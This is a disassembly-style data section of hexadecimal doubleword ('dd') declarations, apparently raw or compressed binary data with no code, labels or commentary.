		dd 262CCBBh, 37811D7h, 65404B7Fh, 77008312h, 859F2AC6h
		dd 0E2D0EB43h, 88680053h, 3F094091h, 0B2007548h, 98F1864Ch
		dd 1531821h, 0A32347E8h, 0D925BD38h, 5A06EC3Dh,	0B60A5Ch
		dd 13406974h, 3D21E992h, 3E7CA84Bh, 73030744h, 8F72466Bh
		dd 617053E8h, 45F86300h, 0A2416478h, 97AB1D10h,	0B2C2C0BBh
		dd 58045D6Ch, 0C800E698h, 0C798928Eh, 3011DC42h, 0E46E8924h
		dd 0DAC1B0E8h, 22A88F93h, 4844E0F8h, 31075DA0h,	0B0189198h
		dd 21286490h, 4048881Eh, 5C328085h, 0F4268800h,	3C704431h
		dd 6887C8FCh, 9E601C9Dh, 58891040h, 24033C12h, 61884C50h
		dd 9178D048h, 7C403011h, 2C993864h, 131E30F0h, 2841220Ch
		dd 24D22045h, 31848C4h,	10B1B899h, 0A2077813h, 51706E08h
		dd 0C0BC3153h, 77B361F8h, 30F03D81h, 0E80318BCh, 48D4BE01h
		dd 28E0548Ah, 223E29DFh, 88DC0FA1h, 0C4666019h,	24B044D8h
		dd 33A6267h, 0D0183238h, 0CA88CABh, 801D24CCh, 601DC872h
		dd 45FC41Fh, 0ACC03C4Eh, 0EBC2484h, 0B8249912h,	0B4396883h
		dd 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh, 0E4F0F5A8h, 0D0FCA43Ch
		dd 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h, 940F4CE4h, 905CC4CCh
		dd 8C39A3A0h, 88E87CFCh, 24CF48FAh, 38E0AC84h, 7CEFD80h
		dd 1CF47Ch, 68281178h, 89740F18h, 70EE4C04h, 0DEBF64AEh
		dd 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh, 5CF36007h,	2FE2F84Dh
		dd 3EC8F274h, 0CBA9458h, 0CFF454BAh, 60475014h,	914CF13Ch
		dd 0F840F930h, 0EFFD1814h, 0CAF0BCF3h, 9FC700Ah, 7D97E800h
		dd 81BA2098h, 80510995h, 0E0803F60h, 7446724Eh,	36BC4105h
		dd 0FA8025B9h, 74450AB8h, 0F3133AFCh, 4A82F980h, 0A4095517h
		dd 10015F01h, 0D2B8057Dh, 7EC099E9h, 0B1483907h, 0E5500C02h
		dd 5A40800Fh, 202107Dh,	18BF0372h, 2C7F40FBh, 9B831F4Ch
		dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h,	0F3E11CC8h
		dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h
		dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h,	6C30BFF3h
		dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h
		dd 10917BEh, 763352A3h,	0E011D825h, 88028F4Bh, 0AAC81B1h
		dd 2B57E0C0h, 0C3B01F82h
		dd 86E64084h, 2D3D1480h, 6D55AA12h, 0E04DFC0Fh,	0CA83BE5h
		dd 11F007Fh, 7CFDF983h,	0C97E0B1Ah, 4E861C00h, 4A3E80AAh
		dd 0A0401F27h, 0F766C02Fh, 0D8F320D9h, 0BF1CEB00h, 8F42C311h
		dd 19740091h, 2F8E2C5h,	8A001508h, 6623A2E0h, 0A20E86ABh
		dd 2A54C0C3h, 4081007Fh, 0E3FE3306h, 2B00F225h,	5EAB6293h
		dd 0F48A0B14h, 8B8C0F29h, 116049D2h, 2BB48719h,	86081C01h
		dd 27204EAh, 0EB09330h,	0E65D8A45h, 0E455BF00h,	0BDF8AA4Ah
		dd 3B6DD21Ch, 90E2EBC0h, 83067Dh, 0D7DAF7A7h, 0B1E46A6Fh
		dd 0C4008AE0h, 8B5092AAh, 32DC61h, 258C35F7h, 5B23F1Dh
		dd 49430A01h, 0ED15D50Bh, 8BE980E7h, 0AA040709h, 10F8DC3Bh
		dd 4B735852h, 830E0F98h, 0A01D12FAh, 5638BA05h,	496F00E2h
		dd 0EB04D6B5h, 0DB013328h, 0E03A8889h, 48C0C11Dh, 0F60300B3h
		dd 43DC8AF3h, 1488EACh,	4B0D002Dh, 3DA0F475h, 0C57C031Eh
		dd 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h, 0C058073h,	27F97541h
		dd 26CF072Bh, 708EC3F7h, 81891D8Ah, 46A43200h, 220B6452h
		dd 0F211CF1h, 0D93A0004h, 0E9027F76h, 8DDDCC00h, 1A9B9C09h
		dd 0C9241790h, 48F805h,	1E74D03Ch, 7E537651h, 7A293B48h
		dd 0AE92AA8h, 3E80C8Ch,	0F7CC0784h, 595B407Fh, 0E2014312h
		dd 0AC0BEBDCh, 7DC04A35h, 5C00041h, 0EADFC42Bh,	26B8B701h
		dd 0BA402A00h, 0BDE7602h, 1720029Bh, 289958F7h,	2DFDACE0h
		dd 831A473Fh, 0F97E05D4h, 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh
		dd 1BF52E10h, 6A391338h, 3600FD20h, 33C81067h, 299D28h
		dd 99593577h, 6E1940D0h, 0D9D60B1Eh, 69269C40h,	7B2B202Fh
		dd 4470007h, 4FEE0990h,	0E9EAC1EAh, 136BC200h, 8C5AE8Fh
		dd 5D770Bh, 0DE4F1673h,	68C61B28h, 0F0578D00h, 5A80E84Ch
		dd 9C220081h, 4BE96CBAh, 591F13F4h, 60C79001h, 80F7B951h
		dd 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h, 3D46EF20h, 7400344Ah
		dd 0F9C70C17h, 0D11166h, 16207536h, 1A7E2A52h, 145B3900h
		dd 990F4C0Eh, 54FC079Bh, 3046BA33h, 403421EBh, 0B716C30Eh
		dd 8745C019h, 0DA74D7h,	55F0F73Bh, 4E775D05h, 1C042498h
		dd 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h, 374272Ch, 4D228039h
		dd 103E9620h, 0EF560060h, 648AEDE2h, 47F1906h, 52450B07h
		dd 0C373020Dh, 3AAC88C0h, 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh
		dd 89BBA865h, 18E318Ch,	0A1C76630h, 0F08693BFh,	0F8125588h
		dd 88006106h, 0D1267423h, 3925E430h, 2C002EE1h,	33C697F3h
		dd 352E44C1h, 3A398931h, 653B3Ah, 1896DF36h, 0D78B46h
		dd 424039EBh, 0D32D4CD8h, 1EDBFE01h, 0CABF79DAh, 83C7D4h
		dd 0F7D9E880h, 0EC5589C1h, 3E60CB00h, 0EB01F8A2h, 71A400B6h
		dd 1432AF43h, 0A7002DAEh, 0A1B42B93h, 9C0FFAh, 0FBC1B801h
		dd 589666EBh, 116BEC00h, 2703F80Eh, 0A6D83DA0h,	4EE5C180h
		dd 0E02D6EBDh, 4FD58709h, 0E4E7006Ah, 222C35Bh,	6084482Ah
		dd 61E06B29h, 0E48BA13h, 0C20776A2h, 5721C385h,	2BE35680h
		dd 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h, 5D8D6300h, 28C25F90h
		dd 0E7FC0008h, 0A4F8C4CAh, 270045CEh, 48F324DAh, 1E1E91EFh
		dd 40441A22h, 7538920h,	0C0074FC4h, 0E6E8D4A3h,	0ACCD82D0h
		dd 0C66E00B7h, 0F43FF02Bh, 803C2606h, 0C0FE02FCh, 60752D0Ah
		dd 59DE4ABh, 412E74C4h,	0A4A68146h, 5ECDE4F9h, 3880500h
		dd 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h
		dd 0D8DEA1C3h, 1B8C41h,	7FD307Ch, 4DFF01F5h, 7475F425h
		dd 0BB0D00C4h, 3414DE45h, 0E40FC400h, 41AB127Eh, 43290104h
		dd 4B0B1F91h, 0F9987150h, 0DEC16031h, 6BB86600h, 2E6C9622h
		dd 9E1E00EBh, 9A88FC25h, 0DD004517h, 0F7EE7E0h,	1CC9B258h
		dd 808DF228h, 0BF065975h, 0C200AA9Ah, 45D36649h, 64E31Ah
		dd 0A9F938B4h, 847A16D8h, 736D3100h, 0C92E3283h, 8DA70008h
		dd 0D0445F46h, 0F5008925h, 0A03D0320h, 58227507h, 4600BB09h
		dd 119FA506h, 737B90AAh, 9D7E811Fh, 326B800h, 0E1340h
		dd 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h, 69053FFFh,	2104E12Fh
		dd 5B6C7048h, 83C44000h, 0E051ECA2h, 0E1D901F4h, 72BFE837h
		dd 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h, 83DD3C48h,	0FAA8D401h
		dd 0FC410B70h, 9A00DA09h, 0F8EF80BCh, 7E675DFh,	3187BF2h
		dd 9B6BF0BAh, 4400148Ah, 7DDE515h, 8E8C0h, 660F7004h, 45E33005h
		dd 621DE27Ch, 480032EBh, 64CBCAAh, 82F0073h, 8205C879h
		dd 0C00F83Bh, 0A303C96h, 712FF83h, 8027730Fh, 351F707Ch
		dd 44E425C6h, 4FE00E00h, 0FE0D781Ah, 13800011h,	0EBED7739h
		dd 2F981F14h, 3128A601h, 525F9862h, 7A533530h, 21190325h
		dd 0F150A190h, 77835688h, 0C1303A00h, 389D6EAh,	53120088h
		dd 6A80C302h, 6008BEEh,	0A0042ECEh, 7CA0BC8h, 0B46B840Fh
		dd 79FC4069h, 5C2C9DAEh, 0EA008361h, 1EFF13F3h,	607A00D1h
		dd 1F7C04F6h, 0F4891BFh, 82D0EFDh, 81A70064h, 0B6B3DAh
		dd 15730DE0h, 0E0549F2h, 27D22103h, 98989378h, 0DFF410h
		dd 0B8D7146Dh, 0C22B122Ah, 0DA790104h, 9FC18534h, 0E44062F5h
		dd 614057h, 0F7A4B91Bh,	0C0DF6A1h, 0F93DFE00h, 24C4811Eh
		dd 1F75000Fh, 0EBECCC49h, 0A00397Bh, 0AA3004C1h, 1E7820h
		dd 2122D489h, 0EA44316Ch, 0B009873h, 3134C8Dh, 0C61602h
		dd 80D58207h, 0F7D1853Fh, 0CCB9540Eh, 0E5EB271Fh, 88D271E0h
		dd 0D5FB008Ah, 6FF19E9h, 0B900F008h, 9D9B1CD1h,	261EBA7Dh
		dd 27E2DBh, 6BF89A6h, 0F600E8EEh, 3E13C185h, 5C0DFF80h
		dd 303AD7C5h, 464E0107h, 7075F0FCh, 7D008286h, 53A0CE0h
		dd 2C6699h, 1246152Bh, 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h
		dd 5CD4B81Dh, 0E83B960Ch, 2A582B80h, 9C43D003h,	0DE252404h
		dd 0BDC11362h, 0AAFC8498h, 1C35F212h, 825002F9h, 3E52E0D9h
		dd 3FDFB0E0h, 0DB6EEB00h, 8AFF9B8Eh, 0D2A90266h, 0B0179E26h
		dd 0DD90C1E3h, 527F89BCh, 906D2800h, 0C30B859Bh, 989900ACh
		dd 4ECA4320h, 0C40027DDh, 0F03A2CF3h, 0F730Ah, 290DDA26h
		dd 0CE904349h, 53B80600h, 131CEA52h, 140E008Ah,	619DB3CAh
		dd 0A93D9428h, 6BE4002Ah, 9040EDD2h, 0F4FA0381h, 720A9E9Ch
		dd 2143801h, 0BCC54BB5h, 0B871F8h, 250E978Ah, 0F0340F4h
		dd 0B67850Fh, 7606A055h, 0FE81216h, 3F957AA7h, 741B0520h
		dd 1C002029h, 16B93862h, 3C278B40h, 0DF8FB015h,	5B40C477h
		dd 0B932D1B8h, 3D52073Fh, 34450030h, 0AF3F272Bh, 43906Ah
		dd 511008EEh, 88154B90h, 42003EB8h, 0E40C2344h,	1E793A14h
		dd 73918Ah, 85080A5Ch, 0B11E0490h, 210074FCh, 2CEC64F8h
		dd 60422CE0h, 56520027h, 97915014h, 0CF19507h, 8762FC78h
		dd 8225C008h, 0B8400073h, 8C5D54BCh, 8D0024D7h,	158B64A8h
		dd 8043F3h, 0CB4EC93Dh,	1C303312h, 9810BA00h, 708D404Bh
		dd 734F00D4h, 76B30BC4h, 743F8744h, 0EC7A8045h,	5798F20Dh
		dd 258C006Fh, 302F206Eh, 42E4F178h, 1C0E397Eh, 0E7760410h
		dd 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h, 33E9ABAh
		dd 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh, 408A07D0h
		dd 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h, 71060B41h
		dd 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h, 53F8F420h
		dd 1F30E618h, 3085DF2h,	98DB0CE6h, 0F410E099h, 8D122E7Ch
		dd 0E0E3353h
		dd 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh, 0F2015AC3h, 76F68500h
		dd 3C647163h, 0CAE029h,	0EEE0E9C1h, 35FF983h, 1F7E800h
		dd 0E78166FAh, 0BA0F00FFh, 2CE5C26h, 0C7003BF8h, 9DD02177h
		dd 10CDF5h, 4E14069Fh, 0E09373FAh, 0B507247Eh, 47E88801h
		dd 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch, 1F0F5372h, 0CC10E4C6h
		dd 4E0002E0h, 0B8B9D75h, 0E498C985h, 0FF7A3E35h, 3BCAFB80h
		dd 4F5FE15Ah, 0E54EB014h, 2BA9008Ch, 4C770CBAh,	0DAB8177Dh
		dd 0C2690145h, 30080110h, 0CE1F71A7h, 3ABE5920h, 16378099h
		dd 0B1438D27h, 0E06E00C3h, 0E9775A35h, 0CC03CA55h, 0C085C950h
		dd 0C73CA876h, 0D6810033h, 0F30C5D70h, 100E540h, 0DC92772h
		dd 71C2F002h, 0D68B3E13h, 0CF507480h, 0F8D103D2h, 87057539h
		dd 0CEB3201h, 0B4A6B080h, 0A02F0054h, 91757948h, 11FE42A5h
		dd 0B657700h, 75676B5h,	5478ABh, 9D7B22BBh, 0BFAE3CECh
		dd 0B10C7000h, 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh, 52E0880Ah
		dd 0FED0845Fh, 77F23200h, 0C8F94CAh, 0FAD1004Bh, 8A7F2089h
		dd 11005653h, 0B8E1CB27h, 0ADA17h, 76F4F0Fh, 0E3C8FDF2h
		dd 8A225500h, 0BDEAF8FCh, 759F008Bh, 5334AA87h,	0C7027C8Dh
		dd 0CA1E88A3h, 840740C3h, 28A00D5h, 274307ECh, 0DE004647h
		dd 7570B033h, 28E6E8h, 2A09BC80h, 4B26048Bh, 16C78A00h
		dd 0F13E0649h, 0F40000Dh, 0C8E65B81h, 7D3B0C34h, 37311824h
		dd 5711DCh, 40478014h, 0D97B754Bh, 28EFF100h, 50390563h
		dd 4E8E8B9h, 0CF498F20h, 0F8E280ECh, 0B100B054h, 2E0BAFFh
		dd 39735C8h, 496071A7h,	0D9B013FCh, 2900ADC2h, 4B89A09Dh
		dd 7CDB85h, 5843762Dh, 0A5799FD7h, 41023000h, 0FF5EE180h
		dd 0D9953C01h, 0E9181480h, 0C70A57E2h, 88A11C00h, 0F21F75Dh
		dd 408C0059h, 183C8D12h, 307F2AC3h, 2ED61F00h, 2410A9EBh
		dd 75217EABh, 0E3800002h, 0FC3245F3h, 75011A6Ah, 0FE4134F0h
		dd 0D670DFB6h, 0E52C0749h, 0E07D3173h, 0B9FF3E62h, 4D9FD400h
		dd 5F9589ECh, 9334001Ch, 9BDD88B0h, 1A1D0C71h, 0A89DE410h
		dd 6EB78680h, 0C776B4h,	0DE3D34Ah, 0D6E8FD4Fh, 7E400401h
		dd 4730BE21h, 0E0446130h, 13FF7D18h, 1A2CBFh, 0AF4ED6FAh
		dd 0F2B89F23h, 59760E9h, 5FE4FE00h, 82783EBAh, 5816037Bh
		dd 9297831Dh, 755BC998h, 33ADFC00h, 8D487C06h, 89231FBBh
		dd 0A7084157h, 61042035h, 904EF815h, 54A2FE03h,	8041C59Ch
		dd 7444342h, 48474645h,	4B4A0049h, 4E004D4Ch, 0A51504Fh
		dd 38545352h, 5801C655h, 62615A59h, 6564C063h, 68676603h
		dd 806B6A69h, 76E6D6Ch,	7271706Fh, 75740073h, 780E7776h
		dd 307A79h, 34333231h, 37361C35h, 2B390038h, 24203D2Fh
		dd 9D284Ch, 7D7B5D5Bh, 703A3B2Ch, 5C5F002Dh, 927222Ah
		dd 91000D0Ah, 0AAE4C4E0h, 7388E867h, 0DA950F04h, 0C55E24FFh
		dd 0C084EA21h, 0EC8B2706h, 1490B926h, 3620CB03h, 70D5A801h
		dd 15E60FFCh, 0C62080B5h, 5C49E960h, 9E099B00h,	9C732D85h
		dd 947A00FCh, 114A641Bh, 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh
		dd 0C39707C0h, 914B5421h, 0FC66C204h, 190759E4h, 941FEBECh
		dd 956BC70h, 4052008Ah,	0D4CF5C7Ch, 33001571h, 0FF273929h
		dd 3C4BA3F4h, 790010FDh, 83481F05h, 400093C8h, 0A5CEB6F0h
		dd 823252h, 0D98CD5F4h,	0C6660347h, 11F01600h, 5521429Fh
		dd 4ABF0051h, 6C7EE292h, 0BB0076E1h, 0EB071569h, 41B929h
		dd 0DC30630Ah, 0AB83E806h, 5600807Eh, 0E7C1157Ch, 0F869CFh
		dd 8BFD097Dh, 7E58562h,	8F82B80Eh, 464BC10Bh, 3D60ED05h
		dd 76EA00F0h, 2BBCE14h,	0C7143032h, 0CAF468h, 0EFC11A13h
		dd 1C6FF24h, 336AD94h, 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh
		dd 7BEF947Fh, 15684A00h, 648CD44h, 387A4Bh, 519E418Bh
		dd 2F02BAF3h, 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h
		dd 2ADF90C2h, 2004589h,	169F4999h, 0ECD9C65Ah, 6B7623h
		dd 2F42C288h, 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h
		dd 6068A240h, 627F6FD8h, 3BB50303h, 0A86D5AA4h,	1FE361Dh
		dd 5315C83Fh, 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh
		dd 592EC49h, 50B1C594h,	2132839Fh, 0B2525207h, 62B071C4h
		dd 790B0A0Dh, 1EB473FFh, 15D80CAh, 0B186A9C6h, 0A33EF44Fh
		dd 50495307h, 16B5B95Bh, 32A0C1C7h, 0FC982A64h,	0F8281C13h
		dd 5EB9C023h, 52250194h, 4690200h, 484EB36Fh, 0A25F0010h
		dd 0BF446CF0h, 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h
		dd 0E90071Dh, 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h
		dd 498A01D3h, 0C0F8840h, 206A4306h, 0E183CAC1h,	6CD5003Fh
		dd 184C2596h, 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh
		dd 68B1527Fh, 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h
		dd 0B85000E6h, 477CE29Fh, 3F72A4A3h, 4058AB00h,	252785A1h
		dd 9F000C6h, 5F1CF405h,	8F000F15h, 334E99A4h, 0EC859A23h
		dd 0F36A0058h, 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah
		dd 0E0EFE378h, 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h
		dd 0E2C64600h, 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h
		dd 0BCA8E07h, 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h
		dd 1ADC0900h, 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h
		dd 10017414h, 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h
		dd 44D12D1h, 341D0F65h,	4700F78Ah, 0FD44F8A1h, 0A200D9E4h
		dd 6590899Dh, 582E38h, 0F02D704Fh, 10E9A151h, 0A2271801h
		dd 74532F85h, 0BCD1D8h,	0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh
		dd 4717CDC0h, 1E8AEB5h,	0F6B02BCFh, 20E6D655h, 0F0122C84h
		dd 9CECC3FAh, 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh
		dd 756247h, 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h
		dd 0C0D7A242h, 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h
		dd 0D0018BD7h, 89DF6F62h, 9220A270h, 107891h, 13A9D812h
		dd 2C78F0CBh, 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh
		dd 0E5BD2AECh, 154F1B00h, 194558F4h, 927777h, 7FB7DD56h
		dd 5E5F630Bh, 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h
		dd 44022717h, 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h
		dd 9453885Bh, 57018D7Ah, 0E8719D0Dh, 46C847BFh,	17C800A0h
		dd 5FC34287h, 34029CDDh, 0F0C5FC91h, 2256C1AAh,	3812CCh
		dd 72F77DA4h, 19681384h, 0C174C600h, 505FC752h,	0A69F00BDh
		dd 9D0F7386h, 2C000279h, 34EC9632h, 64AF37h, 39C495C6h
		dd 56B29EB3h, 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh
		dd 0A632E606h, 0A094B17h, 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h
		dd 93FA0044h, 0D01B9266h, 5E01BB65h, 14B45026h,	2AD419F2h
		dd 0C79F0987h, 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh
		dd 0D88CC364h, 758BDDh,	4B937C2Fh, 6A24A058h, 7A820300h
		dd 5AC773A4h, 0BA727Eh,	27841D5h, 0C327116Ch, 4B8E5901h
		dd 0A6B01E5Fh, 40D2ECh,	7517496Fh, 227C3966h, 0A39F4507h
		dd 86202F71h, 0D94161h,	7BDB2529h, 676F881h, 35A85500h
		dd 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh,	0AC034A08h
		dd 0E88237EBh, 641AE2h,	0A6432101h, 9854B34Ah, 0FC93B909h
		dd 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h, 0B062A7h
		dd 42BFC963h
		dd 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h
		dd 2C464772h, 40703802h, 7D94C0AAh, 0E8C0230Fh,	0FC9591DBh
		dd 45F60A7Dh, 8D268F00h, 7AF2357Bh, 1AD2052Fh, 0C0F007D3h
		dd 0C2552B85h, 0F4D07800h, 1B3BC13h, 100B002Eh,	0E881A64Ah
		dd 910F2924h, 60F164A5h, 9F0D9669h, 95840046h, 866A4BF6h
		dd 0E8075414h, 302B75FCh, 0F0CBE693h, 0E329BAh,	0AC2C164Ch
		dd 0F55CF4E4h, 48FC2D01h, 5A59A165h, 70A580F4h,	0A62107E2h
		dd 436C14C4h, 35A94485h, 5F51E0DCh, 92F46000h, 0C9311EFCh
		dd 0CA090549h, 80405553h, 0C807302Dh, 94E98800h, 0B6F2E06Ch
		dd 667C08h, 0D806EBD1h,	35F00973h, 83203E1Ch, 0B8F38100h
		dd 0CEFEEDh, 31EB1C75h,	4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h
		dd 0A5D0003Eh, 0AFA955C0h, 61004384h, 97C447D4h, 0E8510E2h
		dd 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh
		dd 46712D63h, 7B849743h, 0FC1807B2h, 518A1403h,	0C09DDF92h
		dd 9EB0D368h, 0F8043Dh,	5DD0D45Fh, 3CC60150h, 8980B0A2h
		dd 85FC29B7h, 4DEE17A9h, 7B2CDC00h, 5A241051h, 0E8010021h
		dd 0B1ECDD4Fh, 93057102h, 52DF2347h, 0F31617C0h, 4FAC0028h
		dd 77E50FCCh, 3E002941h, 0C8099412h, 1B1697h, 0F9A8072Dh
		dd 7CD15A58h, 0F0564500h, 0BA51F6E6h, 5B380160h, 0CE077948h
		dd 0B146CCEBh, 10FE8300h, 0C1ECF1EDh, 0DC95005Eh, 96D37224h
		dd 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh, 8CB000E6h, 70834FF8h
		dd 7C0058FFh, 3C709EFh,	9160C0h, 0A8A0048Ah, 3B94980Bh
		dd 61114A00h, 51010244h, 0E3C10012h, 88C33683h,	71174606h
		dd 2800295Fh, 34B264ABh, 0A58B1DAEh, 0E45200D2h, 92B2CB1h
		dd 5CC45905h, 0C8016278h, 565B5A02h, 7F89760h, 8BFC12AAh
		dd 40C2B7F3h, 789E7908h, 0B1A96000h, 985E58Eh, 0FE500134h
		dd 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h, 7400197Bh,	49CF5C1Fh
		dd 1D952044h, 8D1118h, 0CEEA2FA3h, 0AB984556h, 58B02100h
		dd 209EA967h, 2AF3007Eh, 2C29BC6Dh, 0D8E89F57h,	0CA529C00h
		dd 42A4968Fh, 0D575FFh,	0ABE8C3C1h, 290C3292h, 0AF880807h
		dd 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h, 1C77CEEDh, 61E2BA6h
		dd 814097AAh, 0E38D5426h, 5E280070h, 0DCBC2C4Fh, 0F277C28Bh
		dd 0B689E200h, 912F1CAAh, 834000E4h, 64751EF8h,	0DE019A5Dh
		dd 0E83120BBh, 646049A3h, 0B7241E79h, 0A2A500A9h, 4659DE5Ch
		dd 62B52900h, 2EA68A3Dh, 891A0010h, 0AE1F783Bh,	0EF1E200Dh
		dd 0A2405096h, 8B100E75h, 0A98D00FEh, 7ADF1DEh,	6600A5F3h
		dd 2D5B1E29h, 51AABDh, 0CBCC734Ch, 0C9705CB8h, 0BD4E000h
		dd 3F77FC45h, 29C400F5h, 7C27785Eh, 4C0081A9h, 0B22B1ED9h
		dd 3B8352C0h, 0BD0088DAh, 0B3ABFE59h, 0B900D40Ah, 33B4A913h
		dd 1420AAh, 5F90C3C9h, 0AF81EA92h, 5108B900h, 0E97C805Eh
		dd 126E001Fh, 7B74A9DDh, 500EB3Bh, 570F01B5h, 0C282Ch
		dd 92049EC8h, 0CCE40DC9h, 0EE063Ch, 10D008D4h, 0F831FCh
		dd 1DD87D89h, 59226421h, 0AC1F34F8h, 0F60080E0h, 528AACBh
		dd 0BCD400C8h, 0B3E81662h, 0BE002B24h, 0D01EBA19h, 7E33D802h
		dd 2C050049h, 0EB63D759h, 32002126h, 0F21E6FCCh, 2C1CC851h
		dd 8E0BF7h, 2331716Ah, 600159Bh, 0E14CBA84h, 0D2CBFAh
		dd 0CE2824Bh, 779808DAh, 9A0B2700h, 3B42D6D3h, 9FB0ACh
		dd 6759C2C8h, 5CD42630h, 9600DEFAh, 1B88CCE8h, 0DC7EADh
		dd 50E94151h, 0FBFE7DBh, 0BCDE6300h, 440C70B1h,	94EF0361h
		dd 0A82414E3h, 2010709Fh, 0AC0040B0h, 39B481B8h, 0F85BC5h
		dd 0B6BE24FCh, 0DC224972h, 20581D73h, 0A4AD004Eh, 19FA1E82h
		dd 0E00200B8h, 0B449DC3Bh, 0D2732D16h, 36C5Ch, 71CF4691h
		dd 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h, 6900911Fh
		dd 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h, 505BAA8h
		dd 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh, 1FD84293h
		dd 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh,	0C80A91D9h
		dd 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h, 0EC7552h
		dd 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h,	0E48C01AFh
		dd 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h,	0FA80DC01h
		dd 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h, 42621900h
		dd 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh, 7D3C2D7Dh
		dd 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h, 0CEDBF603h
		dd 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh, 4C0092DFh
		dd 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h, 0A9CAD200h
		dd 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h, 8722703Fh
		dd 0F5933Fh, 8F060F38h,	3BE30811h, 1680FA0Ah, 0B4F845B7h
		dd 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h, 5C0E479Ch
		dd 79535400h, 694C0901h, 31500062h, 736DC81Eh, 0F3030C5Ah
		dd 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h, 95746240h
		dd 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h, 0EB124DD3h
		dd 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h, 934BE880h
		dd 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h,	2714914Fh
		dd 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh, 6CD18053h
		dd 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh, 0AC841D68h
		dd 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h,	0D98F04ECh
		dd 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh, 8464BDFh
		dd 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh, 78B9F6FFh
		dd 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh, 20BEC529h
		dd 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h, 80EDAD2Fh
		dd 6890DD1h, 4938F800h,	5328BAC6h, 0CB150A91h, 0AC318Bh
		dd 3FB833Fh, 0C006076h,	9BE848D2h, 24C518h, 9C098940h
		dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
		dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h,	26DB2200h
